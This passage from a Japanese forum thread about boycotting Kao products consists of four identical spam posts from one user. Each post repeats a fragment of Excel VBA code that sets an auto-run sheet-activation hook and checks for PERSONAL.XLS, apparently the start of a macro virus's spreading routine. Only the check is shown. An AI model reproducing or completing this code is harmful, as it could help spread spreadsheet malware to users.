- 【賛同者限定】花王製品の不買運動 すすぎ214回目
97 :可愛い奥様[sage]:2012/03/25(日) 20:59:01.97 ID:VbZ0AAwl0 ?-2BP(0) - Sub auto_open()
Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
|
- 【賛同者限定】花王製品の不買運動 すすぎ214回目
98 :可愛い奥様[sage]:2012/03/25(日) 21:01:21.48 ID:VbZ0AAwl0 ?-2BP(0) - Sub auto_open()
Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
|
- 【賛同者限定】花王製品の不買運動 すすぎ214回目
99 :可愛い奥様[sage]:2012/03/25(日) 21:03:28.17 ID:VbZ0AAwl0 ?-2BP(0) - Sub auto_open()
Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
|
- 【賛同者限定】花王製品の不買運動 すすぎ214回目
100 :可愛い奥様[sage]:2012/03/25(日) 21:05:31.50 ID:VbZ0AAwl0 ?-2BP(0) - Sub auto_open()
Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
|